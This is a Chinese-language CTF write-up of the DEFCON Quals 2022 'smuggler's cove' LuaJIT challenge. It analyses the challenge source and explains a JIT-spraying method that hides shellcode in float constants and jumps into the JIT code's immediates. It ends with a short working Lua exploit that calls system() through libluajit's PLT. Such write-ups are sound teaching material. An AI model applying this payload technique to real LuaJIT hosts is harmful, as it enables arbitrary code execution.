[DEFCON Quals 2022] smuggler's cove - A LuaJIT Challenge
0x00 题目
速览
是一个打LuaJIT的题,远程环境带有一个web前端,主要作用应该就是给定指定的Lua代码,然后后端运行并返回输出结果:
题目给出了个使用样例,其中比较引人关注的就是cargo函数,但是具体机制还得先看后端源码
源码分析
cove.c
这是题目的核心逻辑
main
首先在main函数中创造了一个Lua State的上下文,并使用init_lua
初始化上下文,然后调用run_code(L, argv[1]);
运行命令行参数中执行的Lua代码,运行结束后使用lua_close(L);
关闭Lua State。
int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
lua_State *L;
if (argc < 2) {
puts("Missing lua cargo to inspect");
return -1;
}
L = luaL_newstate(); // 创建新的Lua State上下文
if (!L) {
puts("Failed to load lua");
return -1;
}
init_lua(L); // 初始化上下文
run_code(L, argv[1]); // 运行传入的Lua代码
lua_close(L); // 关闭上下文
}
init_lua
- 通过
luaopen_jit
打开LUA_JITLIBNAME
指定的LuaJIT运行库 - 调用
set_jit_settings
完成一些JIT相关的设置 - 设置完成后,将
jit
全局变量赋空值,这样在后续运行的Lua代码中就无法使用jit
包 - 分别将
cargo
和print
两个变量绑定到debug_jit
和print
两个函数上,这两个函数的实现同样位于cove.c中。也就是说题目样例的cargo()
函数最后会被debug_jit()
来处理
void init_lua(lua_State* L) {
// Init JIT lib
lua_pushcfunction(L, luaopen_jit); // 传入luaopen_jit,即将被调用的函数
lua_pushstring(L, LUA_JITLIBNAME); // 传入LUA_JITLIBNAME参数给luaopen_jit
lua_call(L, 1, 0); /* 通过传入LUA_JITLIBNAME给luaopen_jit函数完成jit加载 */
set_jit_settings(L); // 完成jit设置
lua_pushnil(L); // 压入空值
lua_setglobal(L, "jit"); // 将栈顶元素(空值)赋值给name变量
lua_pop(L, 1); // 弹出
lua_pushcfunction(L, debug_jit);
lua_setglobal(L, "cargo"); // cargo = debug_jit
lua_pushcfunction(L, print);
lua_setglobal(L, "print"); // print = print
}
set_jit_settings
这个函数通过luaL_dostring
执行了两行Lua语句,主要功能是设置优化级别为O3
,并设置hotloop
为1。这两个选项对JIT生成native code的逻辑有不小影响:
O3
会导致有些常量或者重复逻辑被优化掉,难以控制预期的native codehotloop=1
则指定当某个分支运行次数大于1次时便为其生成native code,这原本是为了减少对一些冷门分支生成native code所用的开销。可以发现样例代码在调用cargo
前还故意调用了两次自定义函数my_ship
void set_jit_settings(lua_State* L) {
// 3 相当于 O3
// Number of iterations to detect a hot loop or hot call
luaL_dostring(L,
"jit.opt.start('3');"
"jit.opt.start('hotloop=1');"
);
}
print
和debug_jit
这两个函数都是C Closure
类型的函数,意味着这个函数可以在Lua层面上被使用。
主要关注这两个函数的参数:lua_State* L
,这是使得C函数能在Lua层面被调用的关键。Lua层面传入的参数并不是使用C调用栈的传参约定,而是压入Lua状态机中的一个“虚拟栈”,用户通过lua_gettop(L)
等API来获取并转义指定位置参数。
该函数把print的首个参数转成字符串后输出
if (lua_gettop(L) < 1) {
return luaL_error(L, "expecting at least 1 arguments");
}
const char* s = lua_tostring(L, 1);
puts(s);
return 0;
debug_jit
这是核心利用点所在的函数,在一开始需要先完成一些检查:
- 参数必须为两个
- 第一个参数的类型必须是LUA_TFUNCTION
- 第一个参数需要通过
isluafunc()
的检查 - 第二个参数会被当成一个uint8的offset
手动解引用取得参数1传入的Lua函数的字节码指针:uint8_t* bytecode = mref(v->l.pc, void)
,注意这个字节码是Lua虚拟机的字节码,不是native的。
因为Lua对已经JIT的部分是用一条一条Trace来记录的,所以要进一步通过getTrace
取得GCtrace
类型的t
。t->szmcode
表示JIT部分machine code的大小,t->mcode
表示machine code的起始位置。
首先输出一次当前t->mcode
指针的值,也就是初始情况下,参数1的函数JIT出的机器码的起始位置。然后判断参数2的offset
如果不等于0且小于t->szmcode - 1
,则将t->mcode
加上offset
的大小。这就给了一次在JIT出的machine code范围内任意修改函数起始位置的机会。也就是说,在cargo
结束后,如果再调用一次my_ship
函数,将从新的起始位置开始运行。
int debug_jit(lua_State* L) {
if (lua_gettop(L) != 2) { // 检查栈顶,判断是否传入了足够参数
return luaL_error(L, "expecting exactly 1 arguments");
}
luaL_checktype(L, 1, LUA_TFUNCTION); // 判断第一个参数的type是不是一个LUA_TFUNCTION
const GCfunc* v = lua_topointer(L, 1); // 把传入的函数转成GCfunc类型的C指针
if (!isluafunc(v)) { // 用isluafunc检查是不是一个lua函数
return luaL_error(L, "expecting lua function");
}
uint8_t offset = lua_tointeger(L, 2); // 把第二个参数转成一个整数的offset
uint8_t* bytecode = mref(v->l.pc, void);
uint8_t op = bytecode[0];
uint8_t index = bytecode[2];
GCtrace* t = getTrace(L, index);
if (!t || !t->mcode || !t->szmcode) {
return luaL_error(L, "Blimey! There is no cargo in this ship!");
}
printf("INSPECTION: This ship's JIT cargo was found to be %p\n", t->mcode); // 输出机器码位置
if (offset != 0) {
if (offset >= t->szmcode - 1) {
return luaL_error(L, "Avast! Offset too large!");
}
t->mcode += offset;
t->szmcode -= offset;
printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
}
return 0;
}
补上一些宏定义和数据结构:
// #define mref(r, t) ((t *)(void *)(uintptr_t)(r).ptr32
/*
typedef union GCfunc {
GCfuncC c;
GCfuncL l;
} GCfunc;
*/
/*
typedef struct GCfuncL {
GCfuncHeader;
GCRef uvptr[1]; // Array of _pointers_ to upvalue objects (GCupval).
} GCfuncL;
*/
/*
#define GCfuncHeader \
GCHeader; uint8_t ffid; uint8_t nupvalues; \
GCRef env; GCRef gclist; MRef pc
*/
/*
// Memory reference
typedef struct MRef {
#if LJ_GC64
uint64_t ptr64; // True 64 bit pointer.
#else
uint32_t ptr32; // Pseudo 32 bit pointer.
#endif
} MRef;
dig_up_the_loot.c
这个程序其实就相当于一个getflag
程序,但是需要判断argv
参数为指定字符串才能输出FLAG:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* args[] = { "x", "marks", "the", "spot" };
int main(int argc, char** argv) {
const size_t num_args = sizeof(args)/sizeof(char*);
if (argc != num_args + 1) {
printf("Avast ye missing arguments: ./dig_up_the_loot");
for (size_t i=0; i<num_args; i++)
printf(" %s", args[i]);
puts("");
exit(0);
}
for (size_t i=0; i<num_args; i++) {
if (strcmp(argv[i+1], args[i])) {
puts("Blimey! Are missing your map?");
exit(0);
}
}
puts("Shiver me timbers! Thar be your flag: FLAG PLACEHOLDER");
}
从逻辑来看,需要执行的命令行为./dig_up_the_loot x marks the spot
,还是比较长的...
0x01 利用思路
利用思路其实还是比较明确的,虽然一开始走了些弯路想着去构造Type confusion
,但是最终还是回到了正轨
由于x86指令存在常数部分,而常数部分通常可控,攻击者可以把恶意shellcode注入到常数部分,然后通过修改起始位置从某条指令的常数部分开始执行,再通过多条shellcode的JOP拼接,达到任意代码执行的目的。
然而这题麻烦就麻烦在:哪些Lua层面的语句可以很方便控制到x86 machine code的常数部分。毕竟从Lua语句到machine code经过了3次转义,没错是三次——Lua语句->Lua虚拟机字节码->中间码->机器码
一般而言肯定最先想到下面几种方法:
- 构造变量赋值语句,将整数常量赋值给某个局部变量
- 构造运算表达式
- 使用常量传参来调用函数
- 使用某些含有常量的语句结构
对于方法1,可能因为开了O3
优化的原因,常量部分并没有体现在局部JIT出来的machine code中;
对于方法2,这些运算似乎会被预先JIT并封装在某个地方,即使出现了需要的常量也无法通过修改offset跳转过去;
对于方法3,由于Lua对变量会有一层包装,不会使用裸的值,所以在machine code也看不到;
最后就是方法4,确实有一些队友发现了端倪。首先是有队友发现了for循环语句结构可以引入稳定的,但是离散的7个字节的常量,如:81 c5 XX XX XX 00 81 fd XX XX XX XX
中的XX
。
function test()
for i = 0, 0x7effff00,0xffff00 do
end
for i = 1, 0x7effff11,0xffff11 do
end
end
这看着似乎也够用了,但是尝试修改offset跳转才发现,for循环由于某些原因,所产生的machine code距离起始位置比较远,offset跳不过去——我猜测是因为被放在了另外一条Trace中,但是管不了这么多了。接下来有队友发现了,table的常量下标寻址会产生可控的常量,但是只有4字节可控?这是个好方向,但是为啥只有4字节可控呢。于是我试了下直接写8个字节的整数,似乎就无法在machine code中找到了。
然后我突发奇想,一连写了很多条对table的8字节整数下标赋值的语句,再观察machine code,发现居然有很多重复的结构!并且这部分结构都通过movabs
操作了一个很大的8字节常量,但是常量的值并不是下标的值。会不会是编码了?联想到Lua中存在浮点数类型,于是猜测,这会不会是IEEE的浮点数编码?使用python的struct包unpack了一下,果然,正是浮点数编码!
于是我通过struct.unpack("<d", b"\x90\x90\x90\x90\x90\x90\xeb\x5e")
直接去构造double类型浮点数,然后使用浮点数常量作为下标寻址(Lua的寻址不是偏移寻址,所以是可以用浮点数的),发现如预期的出现了多条8字节的可控movabs
,通过调整偏移,并在每8字节shellcode的后两个字节拼接上相对jmp
指令就得到了如下JOP shellcode形式:
0x02 Exploit编写
那么问题来了,获得任意shellcode执行之后怎么拿flag呢?上面分析过了,预期的拿flag方式是执行./dig_up_the_loot x marks the spot
命令。一开始我想的是使用execve("./dig_up_the_loot", ["x", "marks", "the", "spot"], NULL)
来调用,这需要慢慢构造字符串数组指针。然而写了几行才发现,题目限制了Lua文件的大小,如果构造execve显然是不够用的。
由于在执行shellcode的时候,寄存器和栈上留下很多运行时地址信息,也许会有一些可以使用的gadget。比如可以试试看能不能找出libc的地址,然后调system,于是开始慢慢尝试。
才刚写到一半已经有队友通过修改我贴文档里的PoC打通了,非常神速。我大致看了一下他的EXP,思路还是比较巧妙地,虽然不是100%能打通。于是我按照他地思路完善了下我的exp。
首先从R14寄存器指向的内存区域找到libluajit.so
的地址,因为libluajit.so
的PLT表中有system函数这一项,并且相比于libc地址更容易获得。然后就是在libluajit.so
地址空间附近,可以搜索到传入的Lua代码的字符串(被读入到内存中了)。这意味着可以在EXP的注释部分写上./dig_up_the_loot x marks the spot
字符串,然后作为参数传给libluajit.so
中的system。
于是整个利用思路就完成了:
- 搜索到
libluajit.so
的地址,计算system的plt - 以
libluajit.so
的地址为base,搜索到./dig_up_the_loot x marks the spot
字符串的地址 - 调用
system("./dig_up_the_loot x marks the spot")
从标准输出读flag
EXP:
-- ./dig_up_the_loot x marks the spot
a = {}
b = {}
c = {}
d = {}
e = {}
f = {}
g = {}
function m()
a[2.689065016493852e+144] = nil
b[1.7262021171178437e+149] = nil
c[2.6890656183788917e+144] = nil
d[2.6339756112512905e+144] = nil
e[2.689065020865355e+144] = nil
f[2.6339753393476617e+144] = nil
g[1.7623056512639384e+149] = nil
end
m()
m()
cargo(m, 0x69)
m()
运行效果:
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=2axteyuyj1nok